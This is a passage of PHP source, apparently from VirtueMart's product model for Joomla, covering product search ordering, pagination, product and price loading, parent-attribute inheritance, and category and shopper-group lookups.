'stockout': $where[] = ' p.`product_in_stock`- p.`product_ordered` < 1'; break; case 'stocklow': $where[] = 'p.`product_in_stock`- p.`product_ordered` < p.`low_stock_notification`'; break; } } // special orders case //vmdebug('my filter ordering ',$this->filter_order); $ff_select_price = ''; switch ($this->filter_order) { case '`p`.product_special': if($isSite){ $where[] = ' p.`product_special`="1" '; // TODO Change to a individual button $orderBy = 'ORDER BY RAND()'; } else { $orderBy = 'ORDER BY p.`product_special`'; } break; case 'category_name': $orderBy = ' ORDER BY `category_name` '; $joinCategory = TRUE; $joinCatLang = true; break; case 'category_description': $orderBy = ' ORDER BY `category_description` '; $joinCategory = TRUE; $joinCatLang = true; break; case 'mf_name': $orderBy = ' ORDER BY `mf_name` '; $joinMf = TRUE; $joinMfLang = true; break; case 'pc.ordering': $orderBy = ' ORDER BY `pc`.`ordering` '; $joinCategory = TRUE; break; case 'product_price': //$filters[] = 'p.`virtuemart_product_id` = p.`virtuemart_product_id`'; //$orderBy = ' ORDER BY `product_price` '; //$orderBy = ' ORDER BY `ff_final_price`, `product_price` '; $orderBy = ' ORDER BY `product_price` '; $ff_select_price = ' , IF(pp.override, pp.product_override_price, pp.product_price) as product_price '; $joinPrice = TRUE; break; case '`p`.created_on': $orderBy = ' ORDER BY p.`created_on` '; break; default; if (!empty($this->filter_order)) { $orderBy = ' ORDER BY ' . $this->filter_order . ' '; } else { $this->filter_order_Dir = ''; } break; } //Group case from the modules if ($group) { $latest_products_days = VmConfig::get ('latest_products_days', 7); $latest_products_orderBy = VmConfig::get ('latest_products_orderBy','created_on'); $groupBy = 'group by p.`virtuemart_product_id` '; switch ($group) { case 'featured': $where[] = 'p.`product_special`="1" '; $orderBy = 'ORDER BY RAND() '; break; case 'latest': $date = JFactory::getDate (time () - (60 * 60 * 24 * $latest_products_days)); $dateSql = $date->toMySQL (); //$where[] = 'p.`' . $latest_products_orderBy . '` > "' . $dateSql . '" '; $orderBy = 'ORDER BY p.`' . $latest_products_orderBy . '`'; $this->filter_order_Dir = 'DESC'; break; case 'random': $orderBy = ' ORDER BY RAND() '; //LIMIT 0, '.(int)$nbrReturnProducts ; //TODO set limit LIMIT 0, '.(int)$nbrReturnProducts; break; case 'topten': $orderBy = ' ORDER BY p.`product_sales` '; //LIMIT 0, '.(int)$nbrReturnProducts; //TODO set limitLIMIT 0, '.(int)$nbrReturnProducts; $joinPrice = true; $where[] = 'pp.`product_price`>"0.0" '; $this->filter_order_Dir = 'DESC'; break; case 'recent': $rSession = JFactory::getSession(); $rIds = $rSession->get('vmlastvisitedproductids', array(), 'vm'); // get recent viewed from browser session return $rIds; } $this->searchplugin = FALSE; } } $joinedTables = array(); //This option switches between showing products without the selected language or only products with language. if($app->isSite() and !VmConfig::get('prodOnlyWLang',true)){ //Maybe we have to join the language to order by product name, description, etc,... if(!$joinLang){ $productLangFields = array('product_s_desc','product_desc','product_name','metadesc','metakey','slug'); foreach($productLangFields as $field){ if(strpos($orderBy,$field,6)!==FALSE){ $joinLang = true; break; } } } } else { $joinLang = true; } $select = ' p.`virtuemart_product_id`'.$ff_select_price.' FROM `#__virtuemart_products` as p '; if ($joinLang) { $joinedTables[] = ' INNER JOIN `#__virtuemart_products_' . VmConfig::$vmlang . '` as l using (`virtuemart_product_id`)'; } if ($joinShopper == TRUE) { $joinedTables[] = ' LEFT JOIN `#__virtuemart_product_shoppergroups` as ps ON p.`virtuemart_product_id` = `ps`.`virtuemart_product_id` '; //$joinedTables[] = ' LEFT OUTER JOIN `#__virtuemart_shoppergroups` as s ON s.`virtuemart_shoppergroup_id` = `#__virtuemart_product_shoppergroups`.`virtuemart_shoppergroup_id` '; } if ($joinCategory == TRUE or $joinCatLang) { $joinedTables[] = ' LEFT JOIN `#__virtuemart_product_categories` as pc ON p.`virtuemart_product_id` = `pc`.`virtuemart_product_id` '; if($joinCatLang){ $joinedTables[] = ' LEFT JOIN `#__virtuemart_categories_' . VMLANG . '` as c ON c.`virtuemart_category_id` = `pc`.`virtuemart_category_id`'; } } if ($joinMf == TRUE or $joinMfLang) { $joinedTables[] = ' LEFT JOIN `#__virtuemart_product_manufacturers` ON p.`virtuemart_product_id` = `#__virtuemart_product_manufacturers`.`virtuemart_product_id` '; if($joinMfLang){ $joinedTables[] = 'LEFT JOIN `#__virtuemart_manufacturers_' . VMLANG . '` as m ON m.`virtuemart_manufacturer_id` = `#__virtuemart_product_manufacturers`.`virtuemart_manufacturer_id` '; } } if ($joinPrice == TRUE) { $joinedTables[] = ' LEFT JOIN `#__virtuemart_product_prices` as pp ON p.`virtuemart_product_id` = pp.`virtuemart_product_id` '; } if ($this->searchcustoms) { $joinedTables[] = ' LEFT JOIN `#__virtuemart_product_customfields` as pf ON p.`virtuemart_product_id` = pf.`virtuemart_product_id` '; } if ($this->searchplugin !== 0) { if (!empty($PluginJoinTables)) { $plgName = $PluginJoinTables[0]; $joinedTables[] = ' LEFT JOIN `#__virtuemart_product_custom_plg_' . $plgName . '` as ' . $plgName . ' ON ' . $plgName . '.`virtuemart_product_id` = p.`virtuemart_product_id` '; } } if ($joinChildren) { $joinedTables[] = ' LEFT OUTER JOIN `#__virtuemart_products` children ON p.`virtuemart_product_id` = children.`product_parent_id` '; } if (count ($where) > 0) { $whereString = ' WHERE (' . implode ("\n AND ", $where) . ') '; } else { $whereString = ''; } //vmdebug ( $joinedTables.' joined ? ',$select, $joinedTables, $whereString, $groupBy, $orderBy, $this->filter_order_Dir ); /* jexit(); */ $this->orderByString = $orderBy; if($this->_onlyQuery){ return (array($select,$joinedTables,$where,$orderBy,$joinLang)); } $joinedTables = " \n".implode(" \n",$joinedTables); $product_ids = $this->exeSortSearchListQuery (2, $select, $joinedTables, $whereString, $groupBy, $orderBy, $this->filter_order_Dir, $nbrReturnProducts); return $product_ids; } /** * Override * * @see VmModel::setPaginationLimits() */ public function setPaginationLimits () { $app = JFactory::getApplication (); $view = JRequest::getWord ('view','virtuemart'); $cateid = JRequest::getInt ('virtuemart_category_id', -1); $manid = JRequest::getInt ('virtuemart_manufacturer_id', 0); $limitString = 'com_virtuemart.' . $view . 'c' . $cateid . '.limit'; $limit = (int)$app->getUserStateFromRequest ($limitString, 'limit'); $limitStartString = 'com_virtuemart.' . $view . '.limitstart'; if ($app->isSite () and ($cateid != -1 or $manid != 0) ) { $lastCatId = ShopFunctionsF::getLastVisitedCategoryId (); $lastManId = ShopFunctionsF::getLastVisitedManuId (); vmdebug('setPaginationLimits is site and $cateid,$manid ',$cateid,$lastCatId,$manid); if( !empty($cateid) and $cateid != -1) { $gCatId = $cateid; } else if( !empty($lastCatId) ) { $gCatId = $lastCatId; } if(!empty($gCatId)){ $catModel= VmModel::getModel('category'); $category = $catModel->getCategory($gCatId); } else { $category = new stdClass(); } if ((!empty($lastCatId) and $lastCatId != $cateid) or (!empty($manid) and $lastManId != $manid)) { //We are in a new category or another manufacturer, so we start at page 1 $limitStart = JRequest::getInt ('limitstart', 0); } else { //We were already in the category/manufacturer, so we take the value stored in the session $limitStartString = 'com_virtuemart.' . $view . 'c' . $cateid .'m'.$manid. '.limitstart'; $limitStart = $app->getUserStateFromRequest ($limitStartString, 'limitstart', JRequest::getInt ('limitstart', 0), 'int'); } if(empty($limit) and !empty($category->limit_list_initial)){ $suglimit = $category->limit_list_initial; } else if(!empty($limit)){ $suglimit = $limit; } else { $suglimit = VmConfig::get ('llimit_init_FE', 20); } if(empty($category->products_per_row)){ $category->products_per_row = VmConfig::get ('products_per_row', 3); } $rest = $suglimit%$category->products_per_row; $limit = $suglimit - $rest; if(!empty($category->limit_list_step)){ $prod_per_page = explode(",",$category->limit_list_step); } else { //fix by hjet $prod_per_page = explode(",",VmConfig::get('pagseq_'.$category->products_per_row)); } if($limit <= $prod_per_page['0'] && array_key_exists('0',$prod_per_page)){ $limit = $prod_per_page['0']; } //vmdebug('Calculated $limit ',$limit,$suglimit); } else { $limitStart = $app->getUserStateFromRequest ('com_virtuemart.' . $view . '.limitstart', 'limitstart', JRequest::getInt ('limitstart', 0), 'int'); } if(empty($limit)){ if($app->isSite()){ $limit = VmConfig::get ('llimit_init_FE'); } else { $limit = VmConfig::get ('llimit_init_BE'); } if(empty($limit)){ $limit = 30; } } $this->setState ('limit', $limit); $this->setState ($limitString, $limit); $this->_limit = $limit; //There is a strange error in the frontend giving back 9 instead of 10, or 24 instead of 25 //This functions assures that the steps of limitstart fit with the limit $limitStart = ceil ((float)$limitStart / (float)$limit) * $limit; $this->setState ('limitstart', $limitStart); $this->setState ($limitStartString, $limitStart); $this->_limitStart = $limitStart; return array($this->_limitStart, $this->_limit); } /** * This function creates a product with the attributes of the parent. * * @param int $virtuemart_product_id * @param boolean $front for frontend use * @param boolean $withCalc calculate prices? * @param boolean published * @param int quantity * @param boolean load customfields */ public function getProduct ($virtuemart_product_id = NULL, $front = TRUE, $withCalc = TRUE, $onlyPublished = TRUE, $quantity = 1,$customfields = TRUE,$virtuemart_shoppergroup_ids=0) { if (isset($virtuemart_product_id)) { $virtuemart_product_id = $this->setId ($virtuemart_product_id); } else { if (empty($this->_id)) { vmError('Can not return product with empty id'); return FALSE; } else { $virtuemart_product_id = $this->_id; } } if($virtuemart_shoppergroup_ids !=0 and is_array($virtuemart_shoppergroup_ids)){ $virtuemart_shoppergroup_idsString = implode('',$virtuemart_shoppergroup_ids); } else { $virtuemart_shoppergroup_idsString = $virtuemart_shoppergroup_ids; } $front = $front?TRUE:0; $withCalc = $withCalc?TRUE:0; $onlyPublished = $onlyPublished?TRUE:0; $customfields = $customfields?TRUE:0; $this->withRating = $this->withRating?TRUE:0; $productKey = $virtuemart_product_id.$front.$onlyPublished.$quantity.$virtuemart_shoppergroup_idsString.$withCalc.$customfields.$this->withRating; static $_products = array(); // vmdebug('$productKey, not from cache : '.$productKey); if (array_key_exists ($productKey, $_products)) { //vmdebug('getProduct, take from cache : '.$productKey); return $_products[$productKey]; } else if(!$customfields or !$withCalc){ $productKeyTmp = $virtuemart_product_id.$front.$onlyPublished.$quantity.$virtuemart_shoppergroup_idsString.TRUE.TRUE.TRUE; if (array_key_exists ($productKeyTmp, $_products)) { //vmdebug('getProduct, take from cache full product '.$productKeyTmp); return $_products[$productKeyTmp]; } } if ($this->memory_limit<$mem = round(memory_get_usage(FALSE)/(1024*1024),2)) { vmdebug ('Memory limit reached in model product getProduct('.$virtuemart_product_id.'), $customfields= '.$customfields.' consumed: '.$mem.'M'); vmError ('Memory limit '.$this->memory_limit.' reached in model product getProduct() ' . $virtuemart_product_id. ' tried to allocate '.$mem); return false; } $child = $this->getProductSingle ($virtuemart_product_id, $front,$quantity,$customfields,$virtuemart_shoppergroup_ids); if (!$child->published && $onlyPublished) { //vmdebug('getProduct child is not published, returning zero'); $_products[$productKey] = FALSE; return FALSE; } if(!isset($child->orderable)){ $child->orderable = TRUE; } //store the original parent id $pId = $child->virtuemart_product_id; $ppId = $child->product_parent_id; $published = $child->published; $i = 0; $runtime = microtime (TRUE) - $this->starttime; //Check for all attributes to inherited by parent products while (!empty($child->product_parent_id)) { $runtime = microtime (TRUE) - $this->starttime; if ($runtime >= $this->maxScriptTime) { vmdebug ('Max execution time reached in model product getProduct() ', $child); vmError ('Max execution time reached in model product getProduct() ' . $child->product_parent_id); break; } else { if ($i > 10) { vmdebug ('Time: ' . $runtime . ' Too many child products in getProduct() ', $child); vmError ('Time: ' . $runtime . ' Too many child products in getProduct() ' . $child->product_parent_id); break; } } $parentProduct = $this->getProductSingle ($child->product_parent_id, $front,$quantity,$customfields,$virtuemart_shoppergroup_ids); if ($child->product_parent_id === $parentProduct->product_parent_id) { vmError('Error, parent product with virtuemart_product_id = '.$parentProduct->virtuemart_product_id.' has same parent id like the child with virtuemart_product_id '.$child->virtuemart_product_id); break; } $attribs = get_object_vars ($parentProduct); foreach ($attribs as $k=> $v) { if ('product_in_stock' != $k and 'product_ordered' != $k) {// Do not copy parent stock into child if (strpos ($k, '_') !== 0 and empty($child->$k)) { $child->$k = $v; // vmdebug($child->product_parent_id.' $child->$k',$child->$k); } } } $i++; if ($child->product_parent_id != $parentProduct->product_parent_id) { $child->product_parent_id = $parentProduct->product_parent_id; } else { $child->product_parent_id = 0; } } //vmdebug('getProduct Time: '.$runtime); $child->published = $published; $child->virtuemart_product_id = $pId; $child->product_parent_id = $ppId; if ($withCalc) { $child->prices = $this->getPrice ($child, array(), 1); //vmdebug(' use of $child->prices = $this->getPrice($child,array(),1)'); } if (empty($child->product_template)) { $child->product_template = VmConfig::get ('producttemplate'); } if(!empty($child->canonCatLink)) { // Add the product link for canonical $child->canonical = 'index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $virtuemart_product_id . '&virtuemart_category_id=' . $child->canonCatLink; } else { $child->canonical = 'index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $virtuemart_product_id; } $child->canonical = JRoute::_ ($child->canonical,FALSE); if(!empty($child->virtuemart_category_id)) { $child->link = JRoute::_ ('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $virtuemart_product_id . '&virtuemart_category_id=' . $child->virtuemart_category_id, FALSE); } else { $child->link = $child->canonical; } $child->quantity = $quantity; $app = JFactory::getApplication (); if ($app->isSite () and VmConfig::get ('stockhandle', 'none') == 'disableit' and ($child->product_in_stock - $child->product_ordered) <= 0) { vmdebug ('STOCK 0', VmConfig::get ('use_as_catalog', 0), VmConfig::get ('stockhandle', 'none'), $child->product_in_stock); $_products[$productKey] = FALSE; } else { $_products[$productKey] = $child; } return $_products[$productKey]; } public function loadProductPrices($productId,$quantity,$virtuemart_shoppergroup_ids,$front){ $db = JFactory::getDbo(); $this->_nullDate = $db->getNullDate(); $jnow = JFactory::getDate(); $this->_now = $jnow->toMySQL(); //$productId = $this->_id===0? $product->virtuemart_product_id:$this->_id; //$productId = $product->virtuemart_product_id===0? $this->_id:$product->virtuemart_product_id; $q = 'SELECT * FROM `#__virtuemart_product_prices` WHERE `virtuemart_product_id` = "'.$productId.'" '; if($front){ if(count($virtuemart_shoppergroup_ids)>0){ $q .= ' AND ('; $sqrpss = ''; foreach($virtuemart_shoppergroup_ids as $sgrpId){ $sqrpss .= ' `virtuemart_shoppergroup_id` ="'.$sgrpId.'" OR '; } $q .= substr($sqrpss,0,-4); $q .= ' OR `virtuemart_shoppergroup_id` IS NULL OR `virtuemart_shoppergroup_id`="0") '; } $q .= ' AND ( (`product_price_publish_up` IS NULL OR `product_price_publish_up` = "' . $db->getEscaped($this->_nullDate) . '" OR `product_price_publish_up` <= "' .$db->getEscaped($this->_now) . '" ) AND (`product_price_publish_down` IS NULL OR `product_price_publish_down` = "' .$db->getEscaped($this->_nullDate) . '" OR product_price_publish_down >= "' . $db->getEscaped($this->_now) . '" ) )'; $quantity = (int)$quantity; if(!empty($quantity)){ $q .= ' AND( (`price_quantity_start` IS NULL OR `price_quantity_start`="0" OR `price_quantity_start` <= '.$quantity.') AND (`price_quantity_end` IS NULL OR `price_quantity_end`="0" OR `price_quantity_end` >= '.$quantity.') )'; } } else { $q .= ' ORDER BY `product_price` DESC'; } $db->setQuery($q); $prices = $db->loadAssocList(); $err = $db->getErrorMsg(); if(!empty($err)){ vmError('getProductSingle '.$err); } else { if($prices and count($prices)==0){ vmdebug('getProductSingle getPrice query',$q); } } return $prices; } public function getProductPrices(&$product,$quantity,$virtuemart_shoppergroup_ids,$front,$loop=false){ $product->product_price = null; $product->product_override_price = null; $product->override = null; $product->virtuemart_product_price_id = null; $product->virtuemart_shoppergroup_id = null; $product->product_price_publish_up = null; $product->product_price_publish_down = null; $product->price_quantity_start = null; $product->price_quantity_end = null; $productId = $product->virtuemart_product_id===0? $this->_id:$product->virtuemart_product_id; $product->prices = $this->loadProductPrices($productId,$quantity,$virtuemart_shoppergroup_ids,$front); $i = 0; $runtime = microtime (TRUE) - $this->starttime; $product_parent_id = $product->product_parent_id; //Check for all attributes to inherited by parent products if($loop) { while ( $product_parent_id and count($product->prices)==0) { $runtime = microtime (TRUE) - $this->starttime; if ($runtime >= $this->maxScriptTime) { vmdebug ('Max execution time reached in model product getProductPrices() ', $product); vmError ('Max execution time reached in model product getProductPrices() ' . $product->product_parent_id); break; } else { if ($i > 10) { vmdebug ('Time: ' . $runtime . ' Too many child products in getProductPrices() ', $product); vmError ('Time: ' . $runtime . ' Too many child products in getProductPrices() ' . $product->product_parent_id); break; } } $product->prices = $this->loadProductPrices($product_parent_id,$quantity,$virtuemart_shoppergroup_ids,$front); $i++; if(!isset($product->prices['salesPrice']) and $product->product_parent_id!=0){ $db = JFactory::getDbo(); $db->setQuery (' SELECT `product_parent_id` FROM `#__virtuemart_products` WHERE `virtuemart_product_id` =' . $product_parent_id); $product_parent_id = $db->loadResult (); } } } if(count($product->prices)===1){ unset($product->prices[0]['virtuemart_product_id']); unset($product->prices[0]['created_on']); unset($product->prices[0]['created_by']); unset($product->prices[0]['modified_on']); unset($product->prices[0]['modified_by']); unset($product->prices[0]['locked_on']); unset($product->prices[0]['locked_by']); //vmdebug('getProductPrices my price ',$product->prices[0]); // For merging of the price and product array, the shoppergroup id from price must be unsetted. // Otherwise the product becomes the shoppergroup from the price. $priceShoppergroupID = $product->prices[0]['virtuemart_shoppergroup_id']; unset($product->prices[0]['virtuemart_shoppergroup_id']); $product = (object)array_merge ((array)$product, (array)$product->prices[0]); $product->prices[0]['virtuemart_shoppergroup_id'] = $priceShoppergroupID; } else if ( $front and count($product->prices)>1 ) { foreach($product->prices as $price){ if(empty($price['virtuemart_shoppergroup_id'])){ if(empty($emptySpgrpPrice))$emptySpgrpPrice = $price; } else if(in_array($price['virtuemart_shoppergroup_id'],$virtuemart_shoppergroup_ids)){ $spgrpPrice = $price; break; } } if(!empty($spgrpPrice)){ $product = (object)array_merge ((array)$product, (array)$spgrpPrice); //$prices = (array)$spgrpPrice; } else if(!empty($emptySpgrpPrice)){ $product = (object)array_merge ((array)$product, (array)$emptySpgrpPrice); //$prices = (array)$emptySpgrpPrice; } else { vmWarn('COM_VIRTUEMART_PRICE_AMBIGUOUS'); $product = (object)array_merge ((array)$product, (array)$product->prices[0]); //$prices = (array)$product->prices[0]; } } } var $withRating = false; public function getProductSingle ($virtuemart_product_id = NULL, $front = TRUE, $quantity = 1,$customfields=TRUE,$virtuemart_shoppergroup_ids=0) { //$this->fillVoidProduct($front); if (!empty($virtuemart_product_id)) { $virtuemart_product_id = $this->setId ($virtuemart_product_id); } if($virtuemart_shoppergroup_ids===0){ $usermodel = VmModel::getModel ('user'); $currentVMuser = $usermodel->getCurrentUser (); if(!is_array($currentVMuser->shopper_groups)){ $virtuemart_shoppergroup_ids = (array)$currentVMuser->shopper_groups; } else { $virtuemart_shoppergroup_ids = $currentVMuser->shopper_groups; } } $virtuemart_shoppergroup_idsString = 0; if(!empty($virtuemart_shoppergroup_ids) and is_array($virtuemart_shoppergroup_ids)){ $virtuemart_shoppergroup_idsString = implode('',$virtuemart_shoppergroup_ids); } else if(!empty($virtuemart_shoppergroup_ids)){ $virtuemart_shoppergroup_idsString = $virtuemart_shoppergroup_ids; } $front = $front?TRUE:0; $customfields = $customfields?TRUE:0; $this->withRating = $this->withRating?TRUE:0; $productKey = $virtuemart_product_id.$virtuemart_shoppergroup_idsString.$quantity.$front.$customfields.$this->withRating; //$productKey = md5($virtuemart_product_id.$front.$quantity.$customfields.$this->withRating.$virtuemart_shoppergroup_idsString); static $_productsSingle = array(); if (array_key_exists ($productKey, $_productsSingle)) { //vmdebug('getProduct, take from cache '.$productKey); return $_productsSingle[$productKey]; } else if(!$customfields or !$this->withRating){ $productKey = $virtuemart_product_id.$virtuemart_shoppergroup_idsString.$quantity.TRUE.TRUE.$this->withRating; //vmdebug('getProductSingle, recreate $productKey '.$productKey); if (array_key_exists ($productKey, $_productsSingle)) { //vmdebug('getProductSingle, take from cache recreated key',$_productsSingle[$productKey]); return $_productsSingle[$productKey]; } } if (!empty($this->_id)) { // $joinIds = array('virtuemart_product_price_id' =>'#__virtuemart_product_prices','virtuemart_manufacturer_id' =>'#__virtuemart_product_manufacturers','virtuemart_customfield_id' =>'#__virtuemart_product_customfields'); if($this->withRating){ $joinIds = array('rating' => '#__virtuemart_ratings','virtuemart_manufacturer_id' => '#__virtuemart_product_manufacturers', 'virtuemart_customfield_id' => '#__virtuemart_product_customfields'); } else { $joinIds = array('virtuemart_manufacturer_id' => '#__virtuemart_product_manufacturers', 'virtuemart_customfield_id' => '#__virtuemart_product_customfields'); } $product = $this->getTable ('products'); $product->load ($this->_id, 0, 0, $joinIds); $xrefTable = $this->getTable ('product_medias'); $product->virtuemart_media_id = $xrefTable->load ((int)$this->_id); // Load the shoppers the product is available to for Custom Shopper Visibility $product->shoppergroups = $this->getProductShoppergroups ($this->_id); if (!empty($product->shoppergroups) and $front) { if (!class_exists ('VirtueMartModelUser')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'user.php'); } $commonShpgrps = array_intersect ($virtuemart_shoppergroup_ids, $product->shoppergroups); if (empty($commonShpgrps)) { vmdebug('getProductSingle creating void product, usergroup does not fit ',$product->shoppergroups); return $this->fillVoidProduct ($front); } } $this->getProductPrices($product,$quantity,$virtuemart_shoppergroup_ids,$front); if (!empty($product->virtuemart_manufacturer_id)) { $mfTable = $this->getTable ('manufacturers'); $mfTable->load ((int)$product->virtuemart_manufacturer_id); $product = (object)array_merge ((array)$mfTable, (array)$product); } else { $product->virtuemart_manufacturer_id = array(); $product->mf_name = ''; $product->mf_desc = ''; $product->mf_url = ''; } // Load the categories the product is in //$product->categories = $this->getProductCategories ($this->_id, $front); $product->categories = $this->getProductCategories ($this->_id, FALSE); //We need also the unpublished categories, else the calculation rules do not work if(!empty($product->product_url)){ $product->canonCatLink = $product->product_url; } else if(!empty($product->categories)){ $categories = $this->getProductCategories ($this->_id, TRUE); //only published if($categories){ if(!is_array($categories)) $categories = (array)$categories; $product->canonCatLink = $categories[0]; } } $product->virtuemart_category_id = 0; if ($front) { if (!empty($product->categories) and is_array ($product->categories) and count($product->categories)>1){ if (!class_exists ('shopFunctionsF')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); } //We must first check if we come from another category, due the canoncial link we would have always the same catgory id for a product //But then we would have wrong neighbored products / category and product layouts $last_category_id = shopFunctionsF::getLastVisitedCategoryId (); if ($last_category_id!==0 and in_array ($last_category_id, $product->categories)) { $product->virtuemart_category_id = $last_category_id; //vmdebug('I take for product the last category ',$last_category_id,$product->categories); } else { $virtuemart_category_id = vRequest::getInt ('virtuemart_category_id', 0); if ($virtuemart_category_id!==0 and in_array ($virtuemart_category_id, $product->categories)) { $product->virtuemart_category_id = $virtuemart_category_id; //vmdebug('I take for product the requested category ',$virtuemart_category_id,$product->categories); } else { if (!empty($product->categories) and is_array ($product->categories) and array_key_exists (0, $product->categories)) { $product->virtuemart_category_id = $product->canonCatLink; //vmdebug('I take for product the main category ',$product->virtuemart_category_id,$product->categories); } } } } else if(!empty($product->canonCatLink)) { $product->virtuemart_category_id = $product->canonCatLink; } } else { //This construction should allow us to see category depended prices in the BE $virtuemart_category_id = JRequest::getInt ('virtuemart_category_id', 0); if($virtuemart_category_id!==0 and !empty($product->categories) ) { if(is_array($product->categories) and in_array ($virtuemart_category_id, $product->categories)){ $product->virtuemart_category_id = $virtuemart_category_id; } else if($product->categories==$virtuemart_category_id) { $product->virtuemart_category_id = $virtuemart_category_id; } } if (empty($product->virtuemart_category_id)) { if (!empty($product->categories) and is_array ($product->categories) and !empty($product->categories[0])) { $product->virtuemart_category_id = $product->categories[0]; } else { $product->virtuemart_category_id = null; } } // vmdebug('getProductSingle BE request $virtuemart_category_id',$virtuemart_category_id,$product->virtuemart_category_id); } if(!empty($product->virtuemart_category_id)){ $q = 'SELECT `ordering`,`id` FROM `#__virtuemart_product_categories` WHERE `virtuemart_product_id` = "' . $this->_id . '" and `virtuemart_category_id`= "' . $product->virtuemart_category_id . '" '; $this->_db->setQuery ($q); // change for faster ordering $ordering = $this->_db->loadObject (); if (!empty($ordering)) { $product->ordering = $ordering->ordering; //This is the ordering id in the list to store the ordering notice by Max Milbers $product->id = $ordering->id; } else { $product->ordering = $this->_autoOrder++; $product->id = $this->_autoOrder; vmdebug('$product->virtuemart_category_id no ordering stored for '.$ordering->id); } $catTable = $this->getTable ('categories'); $catTable->load ($product->virtuemart_category_id); $product->category_name = $catTable->category_name; } else { $product->category_name = null; $product->virtuemart_category_id = null; $product->ordering = null; $product->id = $this->_autoOrder++; vmdebug('$product->virtuemart_category_id is empty'); } if (!$front and $customfields) { if(!$this->listing){ $customfieldModel = VmModel::getModel ('Customfields'); $product->customfields = $customfieldModel->getproductCustomslist ($this->_id); if (empty($product->customfields) and !empty($product->product_parent_id)) { //$product->customfields = $this->productCustomsfieldsClone($product->product_parent_id,true) ; $product->customfields = $customfieldModel->getproductCustomslist ($product->product_parent_id, $this->_id); $product->customfields_fromParent = TRUE; } } } else if($customfields){ //only needed in FE productdetails, is now loaded in the view.html.php // /* Load the neighbours */ // $product->neighbours = $this->getNeighborProducts($product); // Fix the product packaging if ($product->product_packaging) { $product->packaging = $product->product_packaging & 0xFFFF; $product->box = ($product->product_packaging >> 16) & 0xFFFF; } else { $product->packaging = ''; $product->box = ''; } // set the custom variants //vmdebug('getProductSingle id '.$product->virtuemart_product_id.' $product->virtuemart_customfield_id '.$product->virtuemart_customfield_id); if (!empty($product->virtuemart_customfield_id)) { $customfieldModel = VmModel::getModel ('Customfields'); // Load the custom product fields $product->customfields = $customfieldModel->getProductCustomsField ($product); $product->customfieldsRelatedCategories = $customfieldModel->getProductCustomsFieldRelatedCategories ($product); $product->customfieldsRelatedProducts = $customfieldModel->getProductCustomsFieldRelatedProducts ($product); // custom product fields for add to cart $product->customfieldsCart = $customfieldModel->getProductCustomsFieldCart ($product); $child = $this->getProductChilds ($this->_id); $product->customsChilds = $customfieldModel->getProductCustomsChilds ($child, $this->_id); } // Check the stock level if (empty($product->product_in_stock)) { $product->product_in_stock = 0; } } $_productsSingle[$productKey] = $product; } else { $_productsSingle[$productKey] = $this->fillVoidProduct ($front); } $this->product = $_productsSingle[$productKey]; return $_productsSingle[$productKey]; } /** * This fills the empty properties of a product * todo add if(!empty statements * * @author Max Milbers * @param unknown_type $product * @param unknown_type $front */ private function fillVoidProduct ($front = TRUE) { /* Load an empty product */ $product = $this->getTable ('products'); $product->load (); /* Add optional fields */ $product->virtuemart_manufacturer_id = NULL; $product->virtuemart_product_price_id = NULL; if (!class_exists ('VirtueMartModelVendor')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'vendor.php'); } //$product->virtuemart_vendor_id = VirtueMartModelVendor::getLoggedVendor(); $product->product_price = NULL; $product->product_currency = NULL; $product->product_price_quantity_start = NULL; $product->product_price_quantity_end = NULL; $product->product_price_publish_up = NULL; $product->product_price_publish_down = NULL; $product->product_tax_id = NULL; $product->product_discount_id = NULL; $product->product_override_price = NULL; $product->override = NULL; $product->categories = array(); $product->shoppergroups = array(); if ($front) { $product->link = ''; $product->prices = array(); $product->virtuemart_category_id = 0; $product->virtuemart_shoppergroup_id = 0; $product->mf_name = ''; $product->packaging = ''; $product->related = ''; $product->box = ''; } return $product; } /** * Load the product category * * @author Kohl Patrick,Max Milbers * @return array list of categories product is in */ public function getProductCategories ($virtuemart_product_id = 0, $front = FALSE) { $categories = array(); if ($virtuemart_product_id > 0) { $q = 'SELECT pc.`virtuemart_category_id` FROM `#__virtuemart_product_categories` as pc'; if ($front) { $q .= ' LEFT JOIN `#__virtuemart_categories` as c ON c.`virtuemart_category_id` = pc.`virtuemart_category_id`'; } $q .= ' WHERE pc.`virtuemart_product_id` = ' . (int)$virtuemart_product_id; if ($front) { $q .= ' AND `published`=1 ORDER BY `c`.`ordering` ASC'; } //$q .= ' ORDER BY `pc`.`ordering` DESC '; $this->_db->setQuery ($q); $categories = $this->_db->loadResultArray (); } return $categories; } /** * Load the product shoppergroups * * @author Kohl Patrick,Max Milbers, Cleanshooter * @return array list of updateProductShoppergroupsTable that can view the product */ private function getProductShoppergroups ($virtuemart_product_id = 0) { $shoppergroups = array(); if ($virtuemart_product_id > 0) { $q = 'SELECT `virtuemart_shoppergroup_id` FROM `#__virtuemart_product_shoppergroups` WHERE `virtuemart_product_id` = "' . (int)$virtuemart_product_id . '"'; $this->_db->setQuery ($q); $shoppergroups = $this->_db->loadResultArray (); } return $shoppergroups; } /** * Get the products in a given category * * @author RolandD * @access public * @param int $virtuemart_category_id the category ID where to get the products for * @return array containing product objects */ public function getProductsInCategory ($categoryId) { $ids = $this->sortSearchListQuery (TRUE, $categoryId); $this->products = $this->getProducts ($ids); return $this->products; } /** * Loads different kind of product lists. * you can load them with calculation or only published onces, very intersting is the loading of groups * valid values are latest, topten, featured, recent. * * The function checks itself by the config if the user is allowed to see the price or published products * * @author Max Milbers */ public function getProductListing ($group = FALSE, $nbrReturnProducts = FALSE, $withCalc = TRUE, $onlyPublished = TRUE, $single = FALSE, $filterCategory = TRUE, $category_id = 0) { $app = JFactory::getApplication (); if ($app->isSite ()) { $front = TRUE; if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if (!Permissions::getInstance ()->check ('admin', 'storeadmin')) { $onlyPublished = TRUE; if ($show_prices = VmConfig::get ('show_prices', 1) == '0') { $withCalc = FALSE; } } } else { $front = FALSE; } $this->setFilter (); if ($filterCategory === TRUE) { if ($category_id) { $this->virtuemart_category_id = $category_id; } } else { $this->virtuemart_category_id = FALSE; } $ids = $this->sortSearchListQuery ($onlyPublished, $this->virtuemart_category_id, $group, $nbrReturnProducts); //quickndirty hack for the BE list, we can do that, because in vm2.1 this is anyway fixed correctly 